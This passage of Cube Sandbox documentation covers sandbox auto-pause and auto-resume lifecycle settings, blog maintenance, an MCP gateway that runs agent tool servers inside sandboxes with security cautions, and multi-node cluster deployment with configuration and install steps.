resuming** on the next request can dramatically cut resource cost. Cube exposes the exact same [`lifecycle`](https://e2b.dev/docs/sandbox/auto-resume) shape e2b uses: ```python sandbox = Sandbox.create( template="", timeout=300, # 5 min of idle triggers on_timeout lifecycle={ "on_timeout": "pause", # at timeout → pause (instead of kill) "auto_resume": True, # next request after pause → resume }, ) ``` ### Behaviour * **`on_timeout="pause"`**: after `timeout` seconds idle, the platform schedules a pause. State flips to `paused`, the VM memory is frozen to the snapshot store. * **`auto_resume=True`**: when any request next arrives for a `paused` sandbox (HTTP, `run_code`, file I/O, …), the platform wakes it up before the request lands. Callers never see the pause; typical resume latency is sub-second to a few seconds. * If `auto_resume=False` (or unset), the sandbox stays paused until you explicitly `Sandbox.connect(sandbox_id=...)`. Useful for "wait for the user" workflows. ### Timeout reset on auto-resume Each successful auto-resume **resets the idle clock** while keeping the same timeout length. The "resume → short use → idle out → pause again" loop can repeat indefinitely. ### What counts as activity Any of these resets the idle clock: * SDK calls: `sandbox.run_code(...)`, `sandbox.commands.run(...)`, `sandbox.files.read(...)` / `write(...)`. * Direct HTTP traffic to a service inside the sandbox (e.g. via the URL returned by `getHost()`). Sandboxes that don't opt in (no `lifecycle` argument) default to `on_timeout="kill"`: once they sit idle for the effective `timeout` the platform destroys them. This matches e2b's `lifecycle.on_timeout="kill"` semantic. Manual `pause()` does **not** cancel that kill: a later-paused sandbox is still destroyed when idle exceeds `timeout`. To keep a paused sandbox, pass `timeout=NEVER_TIMEOUT`, omit `timeout` (with no positive server default), set a high `timeout`, or send periodic activity to reset the idle clock. ### End-to-end examples The platform ships two **mirror-image** end-to-end demos, one per `on_timeout` value: * [`examples/code-sandbox-quickstart/auto-resume.py`](https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/auto-resume.py) — `on_timeout="pause"` + `auto_resume=True`. Creates a sandbox, idles past the timeout to trigger **auto-pause**, then issues a fresh request to trigger **auto-resume**, and verifies that both kernel memory and the filesystem are byte-identical across the cycle. * [`examples/code-sandbox-quickstart/auto-kill.py`](https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/auto-kill.py) — `on_timeout="kill"` (the default). Creates a sandbox, idles past the timeout to trigger **auto-kill**, verifies that the next request fails fast with 410 Gone, that the sandbox no longer appears in `Sandbox.list()`, and spawns a control sandbox to rule out cluster-wide failures. ```bash export CUBE_TEMPLATE_ID= # Auto-pause + auto-resume python examples/code-sandbox-quickstart/auto-resume.py # Auto-kill (irreversible) python examples/code-sandbox-quickstart/auto-kill.py ``` ## Operational Notes ### Cluster default idle timeout (`default_timeout_insec`) When the client omits `timeout`, CubeMaster applies `cubelet_conf.default_timeout_insec` in `CubeMaster/conf.yaml` (one-click installs: `/usr/local/services/cubetoolbox/CubeMaster/conf.yaml`). | Config value | Effect when the client omits `timeout` | |--------------|----------------------------------------| | unset or `<= 0` | **No cluster-wide idle TTL** — sandboxes never time out from idle | | positive `N` | Default idle TTL of **N** seconds | The repository ships with **no cluster-wide idle timeout** (`default_timeout_insec: -1`). Set a positive value (for example `300`) if you want the cluster to reclaim sandboxes that never pass an explicit `timeout`. Restart `cube-sandbox-cubemaster.service` after edits. `create_timeout_insec` in the same section is unrelated: it only bounds the create/scheduling RPC deadline, not sandbox idle TTL. See [Service management — CubeMaster settings](service-management.md#cubemaster-settings). * **Pause fidelity**: CPU registers, process memory, TCP state (with no external peer), and filesystem mutations all survive the snapshot. Outbound sockets the sandbox itself opened are dropped on pause and must be reopened by the application after resume. * **Cluster coordination**: auto-pause is driven by `cube-lifecycle-manager`. The Helm chart and Terraform one-click both default to two warm replicas. Both replicas consume lifecycle events, discover CubeProxy replicas, and serve resume callbacks, while a Redis lease elects one replica for idle sweep/kill and stale-registry pruning. After a leader failover a sandbox may pause or resume once more; the next request auto-resumes it as usual (see the [Kubernetes FAQ](kubernetes/faq.md)). Per-sandbox Redis state transitions and CubeMaster lifecycle locks serialize effective pause/resume work across replicas. * **Failure mode**: when an auto-resume RPC fails, CubeProxy returns `503 + Retry-After` to the client immediately rather than hanging on a long timeout. When the sandbox has already been killed (`killing` / `killed`) the proxy returns `410 Gone` instead, telling SDK clients to stop retrying. * **Diagnostics**: `docker logs cube-lifecycle-manager` (control node) is the runtime log for the auto-pause coordinator. Look for `create event applied`, `auto-paused sandbox`, `auto-resumed sandbox`, `timeout-killed sandbox`. Each CubeProxy replica additionally exposes `GET http://:8082/admin/healthz` reporting `heartbeat_last_pushed_ms` (the last time it announced itself to the manager). The admin port defaults to `8082`; override it with `CUBE_PROXY_ADMIN_PORT` when that port is already in use on the host (CubeProxy uses host networking). ### Paused Resource Release & Scheduling Quota When a sandbox is paused, its CPU and memory are physically reclaimed — but by default, the node resource accounting still counts `paused`/`pausing` sandboxes as "occupied" against the scheduler quota. This means: even after many idle sandboxes are paused, the host still shows no available capacity to create new ones. To address this, Cube provides a **node-level tuning knob** `host.quota.paused_resource_release_ratio` (configured in `Cubelet/config/config.toml`), range `[0, 1]`, default `0`: | Value | Behavior | Best For | |---|---|---| | `0.0` | Paused sandboxes retain full quota (identical to legacy behavior). Resume is always guaranteed — never rejected due to resource shortage. | Availability-critical environments where resume must never fail | | `1.0` | Paused sandbox CPU/memory quota is **fully released** to the scheduler. Resume becomes best-effort — may be rejected when the node is full. | Maximizing deployment density; occasional resume failures are acceptable | | `0 < r < 1` | Releases fraction `r`, reserves `(1-r)` as headroom. **Reserved quota still counts toward scheduler CPU/memory usage**, so pause-heavy nodes are **naturally deprioritized** — the scheduler won't keep piling new sandboxes onto nodes that already hold many paused ones. | Balancing availability against utilization | **Configuration example**: ```toml # Cubelet/config/config.toml [host.quota] paused_resource_release_ratio = 0.5 # release half, reserve half ``` **Resume admission check**: When `ratio > 0`, every resume triggers a **local real-time admission check** — if the node lacks enough free capacity to accommodate the released fraction, the resume is rejected: ``` resume rejected by paused_resource_release_ratio policy: need 1024MB > quota 512MB ``` The rejection travels through the following chain to reach the client: `Cubelet (130409 Conflict)` → `CubeAPI (HTTP 409)` → `WebUI (capacity diagnostic)`. HTTP 409 is a retriable status — when other sandboxes are destroyed or paused later, freeing capacity, the resume can be retried. **Important notes**: * Disk and MvmNum are **not affected** by the ratio — pause snapshots still consume storage and the sandbox object still exists. * `ratio=0` is the zero-value-safe default: if this setting is never configured, behavior is identical to previous versions. Upgrades won't cause surprises. * This is a **node-level setting** — different nodes can use different ratios to accommodate heterogeneous hardware or tiered pools. * When a large batch of sandboxes on a single node wakes up simultaneously and exceeds node capacity, the control plane returns 409 with precise quota numbers. For sandboxes on the S3 backend, the scheduler can fall back to another compatible node instead — see [Cross-Node Snapshots](./cross-node-snapshot.md) for the conditions and scheduler rules. ## Next Steps * [Templates Overview](./templates.md) — sandboxes boot from templates; the template's build also shapes cold-start cost. * [Quick Start](./quickstart.md) — the shortest path through "create sandbox → run code → tear down". * Upstream references: [e2b · Sandbox lifecycle](https://e2b.dev/docs/sandbox), [e2b · Auto-resume](https://e2b.dev/docs/sandbox/auto-resume). --- --- url: https://cubesandbox.com/guide/maintainer/blog.md --- # Blog Maintenance This guide explains how to add, edit, and organise blog posts on the Cube Sandbox documentation site. ## File locations All English blog posts live under `docs/blog/posts/`. Chinese translations live under `docs/zh/blog/posts/`. Each post is a single Markdown file. ``` docs/ ├── blog/ │ └── posts/ │ └── 2026-05-18-my-post.md ← English docs/zh/ ├── blog/ │ └── posts/ │ └── 2026-05-18-my-post.md ← Chinese (same filename) ``` Use the date-prefixed naming convention `YYYY-MM-DD-slug.md` so posts sort naturally in the file system. *** ## Frontmatter reference Every post starts with a YAML frontmatter block. The fields are: ```yaml --- title: "Post title" date: 2026-05-18 # publication date (YYYY-MM-DD) author: "Author Name" # displayed in the post meta line description: "Post description shown as the excerpt in the blog list." # --- optional fields --- featured: true # show this post in the Featured section at the top of the list weight: 1 # order among featured posts — lower number = higher position (default 9999) type: external # set to "external" for off-site posts externalUrl: https://... # required when type is external — "Read more" will open this URL --- ``` ### Field details | Field | Required | Default | Notes | |---|---|---|---| | `title` | yes | — | Shown in the list card and `` tag | | `date` | yes | — | Used for sorting non-featured posts (newest first) | | `author` | no | — | Shown in the meta line below the title | | `description` | no | — | Shown as excerpt in the list; falls back to body text | | `featured` | no | `false` | Featured posts are pinned to the top of the list | | `weight` | no | `9999` | Controls order within the Featured section | | `type` | no | — | Set to `external` to make the post link off-site | | `externalUrl` | no | — | Required when `type: external` | *** ## Creating a regular post 1. Create `docs/blog/posts/YYYY-MM-DD-slug.md`. 2. Add the frontmatter and write the post body in Markdown. 3. Create the matching Chinese file under `docs/zh/blog/posts/` with the same filename. Example: ```markdown --- title: "Example post title" date: 2026-06-01 author: Author Name description: Example post description. --- # Example post title Body text starts here … ``` *** ## Creating a featured post Add `featured: true` and optionally a `weight` to control its position: ```markdown --- title: "Example post title" date: 2026-06-01 author: Author Name description: Example post description. featured: true weight: 1 --- ``` Featured posts appear at the very top of the blog list regardless of date. Lower `weight` = higher position. Posts with the same `weight` are ordered by date. *** ## Creating an external post Use `type: external` when the full article lives on another site. The Markdown file only needs a frontmatter block — the body is optional: ```markdown --- title: "Example post title" date: 2026-06-01 author: Author Name description: Example post description. type: external externalUrl: https://example.com/your-post --- ``` Clicking the title or "Read more" opens `externalUrl` in a new tab. *** ## Ordering and sorting rules 1. **Featured posts** (any `weight`) always appear before non-featured posts, ordered by `weight` ascending. 2. **Non-featured posts** are ordered by `date` descending (newest first). 3. When searching, both sections are filtered by the keyword simultaneously. --- --- url: https://cubesandbox.com/guide/mcp-gateway.md --- # MCP in Sandboxes ::: warning Preview MCP support is in preview. The `mcp` option and the example gateway may change. ::: [MCP](https://modelcontextprotocol.io/) (Model Context Protocol) is how AI agents discover and call tools such as web search, file access, or a paper index. Each tool is provided by an **MCP server**, usually a small program that talks over stdio. The E2B-compatible `mcp` option lets you ask for a set of MCP servers when you create a sandbox. The servers run **inside** the sandbox, isolated from your own machine. You get back one URL and one token, and your agent connects to that URL to see and call the tools of every server you asked for: ```python from cubesandbox import Sandbox sandbox = Sandbox.create(mcp={"time": {}, "fetch": {}}) url = sandbox.get_mcp_url() # http://50005-<sandbox-id>.<domain>/mcp token = sandbox.get_mcp_token() # send as "Authorization: Bearer <token>" ``` The same code works with the stock E2B SDKs pointed at CubeAPI. ## How it works ```text your agent ──(MCP over HTTP + token)──> 50005-<id>.<domain>/mcp │ CubeProxy ▼ mcp-gateway in the sandbox ├── time server (stdio) └── fetch server (stdio) ``` 1. **CubeAPI** checks the shape of `mcp` and rejects malformed input with `400` before any sandbox is created. It does not store the value, forward it to the scheduler, or return it. 2. **Template:** the SDK picks the template in the order described in [Template priority](#template-priority). **That template must contain an `mcp-gateway` program**; the default sandbox image does not. 3. **SDK:** after the sandbox starts, the SDK runs `mcp-gateway --config '<json>'` as `root` with a random token in `GATEWAY_ACCESS_TOKEN`. It waits up to 60 seconds, the same as the E2B SDK. 4. **Gateway:** it starts the requested servers and serves their tools on port `50005`. **CubeProxy** routes `50005-<id>.<domain>` to that port, just like any other sandbox port. 5. **Failure:** if the command fails or times out, the SDK kills the sandbox and raises `Failed to start MCP gateway: ...` with the gateway's output. Cube itself only provides steps 1 and 3, plus routing. What runs inside the sandbox is decided by the template. ## Template priority When a sandbox is created with `mcp`, the Cube SDKs choose its template in this order: 1. If `template` (`TemplateID` in Go) is passed, use that template. 2. If `template` is not passed, use the template with the alias `mcp-gateway`. 3. If no template with the alias `mcp-gateway` exists, use the template from the `CUBE_TEMPLATE_ID` environment variable. 4. If neither the `mcp-gateway` template nor the `CUBE_TEMPLATE_ID` template exists, creation fails with a template-not-found error. > To change the alias `mcp` uses by default (`mcp-gateway`), set the `CUBE_MCP_TEMPLATE_ID` environment variable: > > ```bash > export CUBE_MCP_TEMPLATE_ID=custom-mcp-gateway > ``` ## Gateway contract Any program can serve as the gateway as long as it is installed as `mcp-gateway` on `PATH` and behaves like this: | Item | Requirement | | --- | --- | | Command | `mcp-gateway --config '<json>'`, run as `root`. `<json>` is the `mcp` object from the create call. | | Token | Read from the `GATEWAY_ACCESS_TOKEN` environment variable. Write it to `/etc/mcp-gateway/.token`, which is how `get_mcp_token()` recovers it after `Sandbox.connect`. | | Readiness | Keep serving after the command exits, and exit `0` only once the endpoint is ready. Exit non-zero with a readable message on failure. Finish within 60 seconds. | | Endpoint | MCP streamable HTTP on port `50005`, path `/mcp`. Reject requests without `Authorization: Bearer <token>`. | | Template | Expose port `50005` when creating the template. | ## Quick start with the example gateway The repository ships a reference implementation in [`examples/mcp-gateway`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/mcp-gateway). It launches stdio MCP servers, merges their tools into one endpoint, and checks the token. Its template Dockerfile pre-installs a set of servers. ### 1. Build the template ```bash cd examples/mcp-gateway docker build -f template/Dockerfile \ --build-arg BASE_IMAGE=cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --build-arg MCP_SERVERS="duckduckgo fetch time arxiv" \ -t <registry>/mcp-gateway:latest . docker push <registry>/mcp-gateway:latest cubemastercli tpl create-from-image \ --image <registry>/mcp-gateway:latest \ --alias mcp-gateway \ --writable-layer-size 1G \ --expose-port 49983 --expose-port 49999 --expose-port 50005 \ --probe 49983 --probe-path /health ``` * `MCP_SERVERS` lists the servers to pre-install. Pre-install every server you plan to use: the gateway waits at most 55 seconds, and servers that are not pre-installed are downloaded on first start. * `BASE_IMAGE` overrides the base image. The default, the CubeSandbox `sandbox-code` image, provides `uv`, `node`, and `git`. * To use an alias other than `mcp-gateway`, pass `template` when creating sandboxes, or set `CUBE_MCP_TEMPLATE_ID` for the Cube SDKs. See [Template priority](#template-priority). Wait until the template is `READY`. ### 2. Create a sandbox and call a tool ```python import asyncio from cubesandbox import Sandbox from mcp import ClientSession # pip install mcp from mcp.client.streamable_http import streamablehttp_client async def main(): with Sandbox.create(mcp={"time": {}, "fetch": {}}) as sandbox: headers = {"Authorization": f"Bearer {sandbox.get_mcp_token()}"} async with streamablehttp_client(sandbox.get_mcp_url(), headers=headers) as (read, write, _): async with ClientSession(read, write) as session: await session.initialize() print([tool.name for tool in (await session.list_tools()).tools]) result = await session.call_tool("get_current_time", {"timezone": "Asia/Shanghai"}) print(result.content[0].text) asyncio.run(main()) ``` If `*.<domain>` does not resolve on your machine, send the request to CubeProxy directly and set the `Host` header to the sandbox host, the same way the SDKs do with `CUBE_PROXY_NODE_IP`. The other SDKs expose the same calls: ::: code-group ```ts [Node.js] const sandbox = await Sandbox.create({ mcp: { time: {}, fetch: {} } }); const url = sandbox.getMcpUrl(); const token = await sandbox.getMcpToken(); ``` ```go [Go] sandbox, err := client.Create(ctx, cubesandbox.CreateOptions{ MCP: cubesandbox.MCPServers{"time": map[string]any{}}, }) url := sandbox.GetMCPURL() token, err := sandbox.GetMCPToken(ctx) ``` ::: ### Servers supported by the example gateway `mcp` is an object keyed by server name. The example gateway understands three kinds of entries. **Catalog servers.** The value holds the server's properties. Run `mcp-gateway catalog` in the template to list them. | Name | Properties | Runs | | --- | --- | --- | | `duckduckgo` | | `uvx duckduckgo-mcp-server` | | `arxiv` | `storagePath` (optional) | `uvx arxiv-mcp-server` | | `fetch` | | `uvx mcp-server-fetch` | | `time` | | `uvx mcp-server-time` | | `filesystem` | `paths` (required, list) | `@modelcontextprotocol/server-filesystem` | | `memory` | | `@modelcontextprotocol/server-memory` | | `sequentialthinking` | | `@modelcontextprotocol/server-sequential-thinking` | You can add or replace entries with `/etc/mcp-gateway/catalog.json` in your template. It uses the same format as `examples/mcp-gateway/internal/config/catalog.json`. **GitHub servers.** These are keyed `github/<owner>/<repo>`, as in E2B. The gateway clones the repository, runs `installCmd` in it, and starts `runCmd`: ```python Sandbox.create(mcp={ "github/acme/weather-mcp": { "installCmd": "npm ci", "runCmd": "node dist/index.js", "envs": {"WEATHER_API_KEY": "..."}, }, }) ``` **Local commands.** Any other key with `runCmd` starts that command. Use this for servers already installed in your template. When two servers expose tools with the same name, the first server by name keeps the plain name. Tools from later servers are renamed `<server>_<tool>`. Only tools are aggregated; MCP prompts and resources are not exposed. `GET /health` on port `50005` reports server and tool counts without a token. ## Input validation CubeAPI returns `400` when: * `mcp` is not an object; * an entry is not an object; * a GitHub key is not `github/<owner>/<repo>`; * `runCmd` is missing or empty for a GitHub server; * `envs` has an invalid name or a non-string value; * there are more than 64 servers. Whether a server name is known is up to the gateway. The example gateway fails to start on unknown names, and the SDK reports that error. ## Lifecycle With the example gateway: * **Pause / resume:** the gateway and its servers are part of the memory snapshot and keep serving with the same token after resume. * **Connect:** `get_mcp_token()` reads the token file, so a new SDK handle can reuse the endpoint. * **Clone and snapshot restore:** the running gateway and its token are copied too. Every clone accepts the same token, so treat clones as one trust domain. * **Crashes:** if a server process exits, the gateway starts it again on the next call. ## Security notes * The token protects the MCP endpoint only. CubeProxy authentication and network policies still apply, and servers inside the sandbox are subject to the sandbox's egress rules. * **All MCP servers in a sandbox share one trust domain; they are not isolated from each other.** The example gateway runs every server as `root`, so any server can read the other servers' `envs` (for example through `/proc/<pid>/environ`) and `/etc/mcp-gateway/.token`, and send them elsewhere. The `installCmd` and `runCmd` of a GitHub server are arbitrary commands run as `root`. Do not put untrusted servers and sensitive credentials in the same sandbox; use a separate sandbox for each trust domain. * As in the E2B contract, the SDKs pass the `mcp` config as a command-line argument (`mcp-gateway --config '<json>'`). While the gateway starts (up to about 60 seconds), the full config, including `envs`, is visible in that command's process arguments to any process in the sandbox. * The example gateway removes the token from its own environment and from every MCP server's environment, and sets `envs` only in the environment of the server they belong to. It does not write them to disk or logs. This prevents accidental leaks, but does not protect against a malicious server as described above. * The example gateway's log (`/var/log/mcp-gateway.log`) includes each server's `stderr`. A server that prints its own secrets will leak them there. ## Bring your own gateway You can replace the example with any program that meets the [gateway contract](#gateway-contract). For example, you could put a thin launcher script named `mcp-gateway` in front of another gateway such as [Docker MCP Gateway](https://github.com/docker/mcp-gateway), which is what E2B's hosted `mcp-gateway` template is built on. Keep in mind that Docker MCP Gateway runs each server as a container, so the template would also need a working Docker daemon inside the sandbox. CubeSandbox has not validated that setup. --- --- url: https://cubesandbox.com/guide/multi-node-deploy.md --- # Multi-Node Cluster Deployment This guide explains how to expand a single-node Cube Sandbox deployment into a multi-node cluster by adding **compute nodes**. Compute nodes run only the sandbox runtime components (`Cubelet` with the embedded network runtime, `CubeShim`) and register themselves to the control plane on the first machine. :::: warning Production Use If you plan to use Cube Sandbox in a production environment, please refer to the [Network Hardening](./network-hardening.md) guide to secure your deployment before exposing services to untrusted networks. :::: :::: tip Prerequisite You must have a working control node deployed via the [Self-Build Deployment Guide](./self-build-deploy.md) before adding compute nodes. :::: ## Architecture Overview ``` ┌─────────────────────────────────────────┐ │ Control Node │ │ CubeMaster, CubeOps, cube-api, │ │ CubeProxy, CoreDNS, MySQL, Redis, │ │ Cubelet (network runtime) │ └──────────────────┬──────────────────────┘ │ /internal/v1/node-agent API ┌───────────┼───────────┐ ▼ ▼ ▼ ┌────────────┐┌────────────┐┌────────────┐ │ Compute #1 ││ Compute #2 ││ Compute #N │ │ Cubelet ││ Cubelet ││ Cubelet │ │ net runtime││ net runtime││ net runtime│ └────────────┘└────────────┘└────────────┘ ``` * The **control node** runs the full stack: orchestration (CubeMaster), node management (CubeOps), API gateway (cube-api), proxy (CubeProxy + CoreDNS), databases (MySQL + Redis), the bundled MinIO S3 volume store, and also acts as a compute node itself. * Each **compute node** runs only `Cubelet` with its embedded network runtime. It registers to the control-plane `CubeOps` and receives sandbox scheduling requests from `CubeMaster`. ## Prerequisites Each compute node must meet the same hardware and software requirements as the control node: * **Physical machine or bare-metal server** (nested virtualization is not supported) * **x86\_64** or **aarch64** (ARM64) architecture with **KVM enabled** (`ls /dev/kvm`) * **Docker** installed and running * **Network connectivity** to the control node (specifically to `CubeOps` on port `3010` for node registration, and to the S3 endpoint — port `9000` with the bundled MinIO) For the full requirements list, see [Self-Build Deployment — Prerequisites](./self-build-deploy.md#prerequisites). ## Step 1: Prepare the Release Bundle Use the **same release bundle** that was built for the control node. Copy it to the compute node and extract: ```bash tar -xzf cube-sandbox-one-click-<version>.tar.gz cd cube-sandbox-one-click-<version> ``` ## Step 2: Configure Environment Variables ```bash cp env.example .env ``` Edit `.env` and set the following variables: ```bash ONE_CLICK_DEPLOY_ROLE=compute CUBE_SANDBOX_NODE_IP=<current-node-ip> ONE_CLICK_CONTROL_PLANE_IP=<control-plane-ip> # CUBE_S3_*: optional but strongly recommended. If missing, install proceeds # with a warning and the S3 volume plugin stays disabled. See the tip below # for how to fetch the values. With the bundled MinIO this looks like: CUBE_S3_ENDPOINT=http://<control-plane-ip>:9000 CUBE_S3_ACCESS_KEY_ID=<from control node> CUBE_S3_SECRET_ACCESS_KEY=<from control node> CUBE_S3_BUCKET=cube-volumes CUBE_S3_S3FS_EXTRA_OPTS=-ouse_path_request_style ``` | Variable | Description | |----------|-------------| | `ONE_CLICK_DEPLOY_ROLE` | Must be set to `compute` for compute-only nodes | | `CUBE_SANDBOX_NODE_IP` | This node's primary network interface IP | | `ONE_CLICK_CONTROL_PLANE_IP` | The control node's IP; automatically expanded to `<ip>:3010` for CubeOps node registration | | `CUBE_S3_*` | Optional but strongly recommended. The volume plugin depends on S3; if missing, install warns and the S3 volume plugin stays disabled. See the tip below for how to fetch these values. | ::: tip Warns when missing `install-compute.sh` checks `CUBE_S3_ENDPOINT`; if it is missing the installer prints a prominent yellow warning and continues. The node deploys normally, but the **S3 volume plugin stays disabled** until you set `CUBE_S3_*` and re-run the installer. To fetch the `CUBE_S3_*` values backfilled on the control node: 1. On the control node, run: ```bash grep '^CUBE_S3_' /usr/local/services/cubetoolbox/.one-click.env ``` Empty output means the control node itself has no S3 backend configured. 2. Paste the output into this node's `.env`. 3. Re-run `sudo ./install-compute.sh`. With the bundled MinIO, also allow TCP 9000 from this node to the control node. ::: You can also specify the CubeOps endpoint explicitly if it uses a non-default port: ```bash ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR=<control-plane-ip>:3010 ``` `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` takes precedence over `ONE_CLICK_CONTROL_PLANE_IP` when both are set. ## Step 3: Install ```bash sudo ./install-compute.sh ``` The compute-node install script will: 1. Install only `Cubelet` with the embedded network runtime, `cube-shim`, `cube-image`, `cube-kernel-scf`, and the runtime scripts 2. Start only the host process `cubelet` 3. Automatically point `Cubelet`'s `meta_server_endpoint` to the control-plane `CubeOps` 4. Register the node and report status through the control plane `/internal/v1/node-agent` API to CubeOps ## Verifying the Deployment ### Health Check ```bash sudo ./smoke.sh ``` In compute-node mode, `quickcheck.sh` verifies: * Local `Cubelet` and embedded network runtime health * Reachability of the control-plane `CubeOps` * That the current node appears under `/internal/v1/nodes/{node_id}` on the control plane ### Verify from the Control Node On the control node, you can confirm the compute node has registered: ```bash curl http://127.0.0.1:3010/internal/v1/nodes ``` The response should include the compute node's IP and a healthy status. ## Configure CubeMaster Scheduler Scoring For multi-node deployments, configure CubeMaster's `scheduler.score` on the control node. If scoring is omitted, CubeMaster filters eligible nodes and then selects from the filtered node order, which can concentrate new sandboxes on the first eligible node until resource filters push traffic elsewhere. Merge the following scheduler fields into the existing `scheduler` section of `cubemaster.yaml`. Keep your existing `filter`, timeout, and other scheduler settings. ```yaml scheduler: # Keep your existing filter, timeout, and other scheduler settings. priority_select_num: 3 score: enable_scorers: - real_time_weighted_average resource_weights: mvm_num: 2 local_create_num: 3 quota_cpu_usage: 1 quota_mem_usage: 1 plugin_conf: real_time_weighted_average: weight: 1.0 enable_weight_factors: - mvm_num - local_create_num - quota_cpu_usage - quota_mem_usage ``` For multi-node clusters, set `scheduler.priority_select_num` to a value greater than `1` so CubeMaster randomly selects from the top scored nodes. The shipped default config uses `priority_select_num: 1`, which means scoring only determines which single node receives the next sandbox. Use `3` as a starting point for small clusters and tune it based on your node count. `scheduler.least_select_name` defaults to `random`, so it usually does not need to be set explicitly. For the complete CubeMaster scheduler reference, including Cubelet node reports, quota / label / concurrency effects, and template redo after adding compute nodes, see [CubeMaster Scheduler Configuration](./cubemaster-scheduler-config.md). After updating `cubemaster.yaml`, restart CubeMaster with your normal deployment procedure so the scheduler loads the new scoring configuration. ## Connect Clients to the Cluster Client applications need the CubeAPI control-plane address and a route to sandbox services through CubeProxy. Choose the simplest data-plane access method that fits your client: | Method | Best for | Wildcard DNS | Extra component | | --- | --- | :---: | :---: | | CubeSandbox SDK with `CUBE_PROXY_NODE_IP` | Python, Go, and Node.js SDKs | No | No | | CubeProxy path mode | curl, backend services, generic HTTP clients | No | No | | Wildcard DNS | Production, browsers, SPAs, official E2B SDK | Yes | No | | E2B dev sidecar | Official E2B SDK in local development without DNS | No | Yes | ### CubeSandbox SDK: direct CubeProxy access The CubeSandbox SDKs can connect directly to a CubeProxy IP while preserving the virtual `Host` used to route requests to the correct sandbox. This avoids wildcard DNS: ```bash export CUBE_API_URL="http://<control-plane-ip>:3000" export CUBE_PROXY_NODE_IP="<cubeproxy-node-ip>" export CUBE_PROXY_PORT_HTTP=80 export CUBE_TEMPLATE_ID="<your-template-id-or-alias>" ``` Use the SDK normally after setting these variables. Control-plane requests go to CubeAPI; data-plane requests connect directly to CubeProxy. ### Generic HTTP clients: path mode Any HTTP client can access a sandbox service through the CubeProxy path prefix: ```text http://<cubeproxy-host>:<http-port>/sandbox/<sandbox-id>/<container-port>/<path> ``` For example: ```bash curl http://10.0.0.5/sandbox/abc123/49999/health ``` Path mode requires no DNS or certificate setup and supports WebSocket upgrades. It is not suitable for SPAs that load assets from root-absolute paths such as `/static/app.js`; use wildcard DNS for those applications. ### Production and browser access: wildcard DNS Host-based routing uses sandbox domains in the form `<port>-<sandbox-id>.<domain>`. Configure a wildcard A record that points to CubeProxy: ```text *.cube.example.com → <CubeProxy public or private IP> ``` Configure CubeAPI with the same base domain: ```bash export CUBE_API_SANDBOX_DOMAIN=cube.example.com ``` The one-click deployment includes CoreDNS for local `*.cube.app` resolution. It is intended for local use; production and shared multi-machine environments should use managed DNS or an internal DNS service. `/etc/hosts` cannot provide wildcard records. See [HTTPS Certificates & Domain Resolution](./https-and-domain.md) for TLS and DNS configuration details. ### Official E2B SDK without wildcard DNS: dev sidecar The official E2B SDK does not expose the CubeSandbox SDK's direct-IP option. When wildcard DNS is unavailable in local development, use the [E2B dev sidecar example](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/e2b-dev-sidecar): ```bash cd examples/e2b-dev-sidecar pip install -r requirements.txt cp env.example .env ``` For a remote cluster, configure: ```bash E2B_API_URL="http://<control-plane-ip>:3000" CUBE_REMOTE_PROXY_BASE="https://<cubeproxy-node-ip>:443" E2B_API_KEY="<api-key>" CUBE_TEMPLATE_ID="<your-template-id-or-alias>" ``` Then run: ```bash python demo.py ``` `CUBE_REMOTE_PROXY_BASE` must point to CubeProxy, not to the sidecar's own listening address. When authentication is enabled, replace the placeholder API key with a valid key. ## Common Operations ### Stop Compute Node Services ```bash sudo ./down.sh ``` In compute-node mode, this only stops `cubelet`. It does not affect the control plane or other compute nodes. ### Reinstall To reinstall a compute node, simply run `install-compute.sh` again. The script automatically stops the existing deployment before installing. ### View Logs | Component | Log Path | |-----------|----------| | Cubelet | `/data/log/Cubelet/` | | CubeShim | `/data/log/CubeShim/` | | Hypervisor (VMM) | `/data/log/CubeVmm/` | | Runtime PID files | `/var/run/cube-sandbox-one-click/` | | Process stdout/stderr | `/var/log/cube-sandbox-one-click/` | For control-node log paths, see [Self-Build Deployment — View Logs](./self-build-deploy.md#view-logs). ## Configuration Reference Compute nodes use the same `.env` file format. The following variables are specific to or particularly relevant for compute-node deployments: | Variable | Default | Description | |----------|---------|-------------| | `ONE_CLICK_DEPLOY_ROLE` | `control` | Must be set to `compute` | | `ONE_CLICK_CONTROL_PLANE_IP` | empty | Control-plane host IP; expanded to `<ip>:3010` by default | | `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` | empty | Explicit CubeOps address; takes precedence over `ONE_CLICK_CONTROL_PLANE_IP` | | `CUBE_SANDBOX_NODE_IP` | `10.0.0.10` | **Required.** This node's primary network interface IP | | `CUBE_SANDBOX_NETWORK_CIDR` | `192.168.0.0/18` (from `config.toml`) | cubevs local network CIDR. Should match the control-plane value. IPv4 CIDR format (e.g., `10.100.0.0/18`), mask range /16–/24. Auto-detected for host network conflicts at install time. | | `CUBE_SANDBOX_NETWORK_CIDR_SKIP_CONFLICT_CHECK` | `0` | Set to `1` to skip CIDR conflict detection (not recommended). | | `ONE_CLICK_RUN_QUICKCHECK` | `1` | Run health check after installation | | `CUBE_S3_*` | empty / filled by control MinIO | Optional but strongly recommended. The volume plugin depends on S3; if missing, install warns and the S3 volume plugin stays disabled. Copy from the control node's `/usr/local/services/cubetoolbox/.one-click.env` (fetch steps in Step 2 above); `ENDPOINT` / `ACCESS_KEY_ID` / `SECRET_ACCESS_KEY` / `BUCKET` have no usable default. | For the full configuration reference (build-time options, database, proxy, etc.), see [Self-Build Deployment — Configuration Reference](./self-build-deploy.md#configuration-reference). ## Troubleshooting ### Compute Node Cannot Reach CubeOps Verify network connectivity: ```bash curl http://<control-plane-ip>:3010/internal/v1/nodes ``` If this fails, check: * Firewall rules on the control node (port `3010` must be accessible) * The `ONE_CLICK_CONTROL_PLANE_IP` or `ONE_CLICK_CONTROL_PLANE_CUBEOPS_ADDR` value in `.env` ### Node Not Appearing in Control Plane If `smoke.sh` passes locally but the node does not appear on the control plane: 1. Check Cubelet logs: `/data/log/Cubelet/` 2. Verify `meta_server_endpoint` in the Cubelet config points to the correct CubeOps address 3. Ensure `CUBE_SANDBOX_NODE_IP` is correctly set to a routable IP (not `127.0.0.1`) For general troubleshooting (Docker, KVM, 